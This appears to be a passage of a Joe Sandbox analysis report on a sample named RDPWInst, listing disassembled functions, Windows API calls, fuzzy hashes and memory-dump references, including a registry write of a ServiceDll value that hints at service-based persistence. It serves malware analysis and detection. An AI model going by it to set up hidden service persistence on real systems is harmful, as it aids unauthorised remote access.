Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID:
API String ID: 3490077880-0
Opcode ID: 6b58315340373024079e24359f3f29825cf54609d1d79e5c4cc5367edd112065
Instruction ID: d971c45546d1ba4d910c131f5b4d15d6df32f901540fb653785064192c66a389
Opcode Fuzzy Hash: 6b58315340373024079e24359f3f29825cf54609d1d79e5c4cc5367edd112065
Instruction Fuzzy Hash: 712191749002508BDF21BF79988975737A0AB06319F1640BFE806AB2C7C37C9CA4CB9D

Function 00402990 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,0013FFF0,00001000,00000004,?,00402F9F,?,00402C72), ref: 004029A6

Strings

$zD, xrefs: 004029B7
$zD, xrefs: 004029AF, 004029BD

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: $zD$$zD
API String ID: 4275171209-354537599
Opcode ID: 1540fdcf1954a72339a161570870ab93fcd0dcb29e693a4e8299ffb28a0cb967
Instruction ID: 5217acd6ab2d11c2bd36ab0357f96252e91eb64f60a530f80fec48377855cdbd
Opcode Fuzzy Hash: 1540fdcf1954a72339a161570870ab93fcd0dcb29e693a4e8299ffb28a0cb967
Instruction Fuzzy Hash: 8AF062F1B143004FDB45CF799D853157AD1A78A318F20807EE608EB7E8EBB484468B48

Function 004069D4 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 004068D2
SysAllocStringLen.OLEAUT32(?,?), ref: 004069DF
SysFreeString.OLEAUT32(?), ref: 004069F1

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 552166d6c025dde526ed4baf3a4c1e22db0c7fdbaa80c72df019331380f0f916
Instruction ID: fb71732fc0ca27c4a1f64b9cddcd98791c7700d24e5edf769cc3926ad45b99af
Opcode Fuzzy Hash: 552166d6c025dde526ed4baf3a4c1e22db0c7fdbaa80c72df019331380f0f916
Instruction Fuzzy Hash: D6E08CB91022017DEA002F228D14B3B3368AF82311B6980BFB401BA2D1D67C88419A3C

Function 004398F0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,?,?,00000000,00000000), ref: 0043991B

Strings

ImagePath, xrefs: 004398F0

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: ImagePath
API String ID: 3660427363-1008103227
Opcode ID: 8f9baab103978417c959294274641bc3878bd645011188ec3b2bcbd739b8bb79
Instruction ID: d4c3dc3867a5d7f93f9a48779984ca1be9368a485682844844f209d8ad6df9e6
Opcode Fuzzy Hash: 8f9baab103978417c959294274641bc3878bd645011188ec3b2bcbd739b8bb79
Instruction Fuzzy Hash: C0019E76604208AFDB00EFA9CC81EDFB7A8EB49314F00817AB954D7342DA749E048BA5

Function 004399A0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00439A26,?,?,00447324), ref: 00439A0B

Strings

$sD, xrefs: 004399BF, 004399C9, 004399F8, 00439A1D, 004399D7

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Open
String ID: $sD
API String ID: 71445658-3047594130
Opcode ID: f10055141223f9af242b891c647282ca0f63b0c3ab4bd570c77cf0f661a267fa
Instruction ID: 93af5e93b009f9dfb1ca8860ce5652d254f583336edc44d6a4486ea6cd266cab
Opcode Fuzzy Hash: f10055141223f9af242b891c647282ca0f63b0c3ab4bd570c77cf0f661a267fa
Instruction Fuzzy Hash: 19017571B04208AFD714EB65CC52A9EB3FCEB4C304F61457BF445E3281DA79EE149658

Function 0043987C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,ServiceDll,?,?), ref: 004398AE

Strings

ServiceDll, xrefs: 00439884

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Value
String ID: ServiceDll
API String ID: 3702945584-3252591312
Opcode ID: 02259710c559a2b72da5c974877bfc6bd73b47a0d5aa3515892af2eb9807f5fe
Instruction ID: 396de0d2a0ab042baed8acc32e75219307ae4a3dd24f7b0442dd3090ee3af4a1
Opcode Fuzzy Hash: 02259710c559a2b72da5c974877bfc6bd73b47a0d5aa3515892af2eb9807f5fe
Instruction Fuzzy Hash: 74018671A042086FD750EBAEDC81A9FBBEC9F49324F00806AF958E7382D9799D049765

Function 00439D1C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004399A0: RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00439A26,?,?,00447324), ref: 00439A0B

RegCloseKey.ADVAPI32(00000000,00000000,00439D81,?,00447324), ref: 00439D5F

Strings

$sD, xrefs: 00439D26, 00439D4A, 00439D50, 00439D77

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: $sD
API String ID: 47109696-3047594130
Opcode ID: e90e8eeed010ee93333ce844b1745028c2c799c62f0c90b655c7822b69ebab96
Instruction ID: e2b80e318971c5615629c962b670a86c0d36aae3c059df6a015560dc8872c8c4
Opcode Fuzzy Hash: e90e8eeed010ee93333ce844b1745028c2c799c62f0c90b655c7822b69ebab96
Instruction Fuzzy Hash: F9013171E14304EFDB05CFA9C892A5DB7F8EB4D310F6140B6E810A7351D675EE10DA54

Function 0043924C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,00000000,004392B4,?,?,ImagePath,00000000,004392B4), ref: 0043927D

Strings

ImagePath, xrefs: 0043924D

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: ImagePath
API String ID: 3660427363-1008103227
Opcode ID: adbd4c71f0fcc4d549a1fa8e18ed9452cd2da7834887e3629a62f86d07c84514
Instruction ID: 752c998736a6c6af0e84b74aa330b189edc71255cbbe141243c37e1b481e64ab
Opcode Fuzzy Hash: adbd4c71f0fcc4d549a1fa8e18ed9452cd2da7834887e3629a62f86d07c84514
Instruction Fuzzy Hash: 90F01CA23042406FD744EA6E9C81F6B96DCDBCC714F14443EB288C7282D968CC098769

Function 004389D8 Relevance: 3.1, APIs: 2, Instructions: 98registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00438AE9,?,?,00447324), ref: 00438A52
RegCreateKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00438AE9,?,?,00447324), ref: 00438A8C

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CreateOpen
String ID:
API String ID: 436179556-0
Opcode ID: 2d3289a1ee73edb82b509e2290eeebee96e579d361020ed9f990078e177ab248
Instruction ID: 0ee4ecbf886d923d9c7bbf31fd477b4cbe2ff9aaa7d825c43a2ca86d525438e5
Opcode Fuzzy Hash: 2d3289a1ee73edb82b509e2290eeebee96e579d361020ed9f990078e177ab248
Instruction Fuzzy Hash: E3315C70B04348AFDB11EBA98842B9EF7F9AB48304F50447EB544E7282DA78AF059759

Function 0040920C Relevance: 3.1, APIs: 2, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409248

Part of subcall function 0040941C: lstrcpynW.KERNEL32(?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 00409497
Part of subcall function 0040941C: lstrlenW.KERNEL32(?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 004094A3

LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409299

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileLibraryLoadModuleNamelstrcpynlstrlen
String ID:
API String ID: 2912033995-0
Opcode ID: 9b7ea9474c48fe3723e18e581a13ee0b38d21dda16a14f09b9e502bcf11d0e48
Instruction ID: f6262d892358e01f8eacd9344567111696420312dcbdab07fa653b046a231d07
Opcode Fuzzy Hash: 9b7ea9474c48fe3723e18e581a13ee0b38d21dda16a14f09b9e502bcf11d0e48
Instruction Fuzzy Hash: 43114270A4421CABDB10EB51CD86BDD73B8DB04304F5144FBB509B72D1DA785E858A59

Function 0040F77C Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000,00000000,?,00443BAB,00000000,00443FB2), ref: 0040F788
GetLastError.KERNEL32(00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000,00000000,?,00443BAB,00000000,00443FB2), ref: 0040F79A

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: 27c98d3271cba15b76fb2ca257aef7b31123f3b10a7598d13b1c4fe8a3ea3e49
Instruction ID: 8407d2a862a87125c88b0e9e376b57c3f61afd3adb54f06dd13a213247f2bd06
Opcode Fuzzy Hash: 27c98d3271cba15b76fb2ca257aef7b31123f3b10a7598d13b1c4fe8a3ea3e49
Instruction Fuzzy Hash: 5CE04F1732122016DD3530BC19CA6AB1244498B7A83280937FC51F3BD2D23E4D5B519F

Function 004046C0 Relevance: 3.0, APIs: 2, Instructions: 29fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004046DF
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 004046E8

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 1c195610d2d2e68796caa6713af8b8095328086dc3c63ffe84f07c697ca82352
Instruction ID: 9545df1e08670e3e4372b9a2ed629c94f39af83de60d034ef920510406bc5815
Opcode Fuzzy Hash: 1c195610d2d2e68796caa6713af8b8095328086dc3c63ffe84f07c697ca82352
Instruction Fuzzy Hash: D1E092B16041106BDB54CE6A9980A6723CC9B89354F008877BA04EB282E2B9CC015776

Function 00414634 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

InterlockedCompareExchange.KERNEL32(00449DB0,00000001,00000000), ref: 00414644
CloseHandle.KERNEL32(00000000,00449DB0,00000001,00000000,?,00449EB4,00414694,00449EB4,00000000,?,0041770A,00000000,00417872), ref: 00414651

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseCompareExchangeHandleInterlocked
String ID:
API String ID: 190309047-0
Opcode ID: 542c7fe3d3f03a500ed8d8709c7a3033507625bc89f5adea9d21179b445396bb
Instruction ID: 63ce862fb254c7bb27cf93041dcda8475e179d55c14a8c261316d7a773b2a43f
Opcode Fuzzy Hash: 542c7fe3d3f03a500ed8d8709c7a3033507625bc89f5adea9d21179b445396bb
Instruction Fuzzy Hash: 3FD0A7F275172033DA2021A94DC1FAB014C8B9975CF015563BE44EF283D59CCC9102FC

Function 00438860 Relevance: 3.0, APIs: 2, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegFlushKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 00438871
RegCloseKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 0043887A

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseFlush
String ID:
API String ID: 320916635-0
Opcode ID: 610934545e47d1af713ada86b5371c3a5aace2d80b4164f12a0993911e23d539
Instruction ID: 02ceb0405e4d458188627afd9845f8495605ad087acfb065aa2a027a14818eba
Opcode Fuzzy Hash: 610934545e47d1af713ada86b5371c3a5aace2d80b4164f12a0993911e23d539
Instruction Fuzzy Hash: 8DE0ECA1B003008ADF64FF7684C4A12B6D86F48304B48D4BAB808DE14BDA3CD4109725

Function 00438B08 Relevance: 1.6, APIs: 1, Instructions: 79registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00438CCF,?,?,?,00000000), ref: 00438B85

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a46219772db8ce53a9de16e33fdee055c61f0647121e37f1090d2be0f08d93d7
Instruction ID: 89278caf5ef83198d89b8dc4a9c9fb76eb3a10e2e46a05883e0df08903897f1a
Opcode Fuzzy Hash: a46219772db8ce53a9de16e33fdee055c61f0647121e37f1090d2be0f08d93d7
Instruction Fuzzy Hash: C921D370B04344AFDB11EB65C842B9EF7F99B48304F2144BEB804E3282DA7C9E059758

Function 004083B0 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,0000020A), ref: 004083CE

Part of subcall function 0040920C: GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409248
Part of subcall function 0040920C: LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409299

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileModuleName$LibraryLoad
String ID:
API String ID: 4113206344-0
Opcode ID: cbb02fdfb2fa808f830c388f18c69e1a99260115120f30c524f5d5f327a3d354
Instruction ID: 90d1829834ce79f86c13b7573f8e9a8c333b05ddd33e28dd31ebb7d28ab9999b
Opcode Fuzzy Hash: cbb02fdfb2fa808f830c388f18c69e1a99260115120f30c524f5d5f327a3d354
Instruction Fuzzy Hash: 84E0C9B1A003109BCB10DE58C9C5A477798AB48764F044AAAED64EF387D775DD1087D5

Function 0040F650 Relevance: 1.5, APIs: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,?,00000000,00000002,00000080,00000000,?,?,004257A8,0042F5F0,00000000,0042F6D7,?,?,004257A8), ref: 0040F68A

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 09450458b8d81176c6a50bac5932f2701a5404c96287c680bb229262f5fe89b5
Instruction ID: 32e31081b98e7b24079041a639207f5f8240b3ca2c27c4b0157ee02f81a1b514
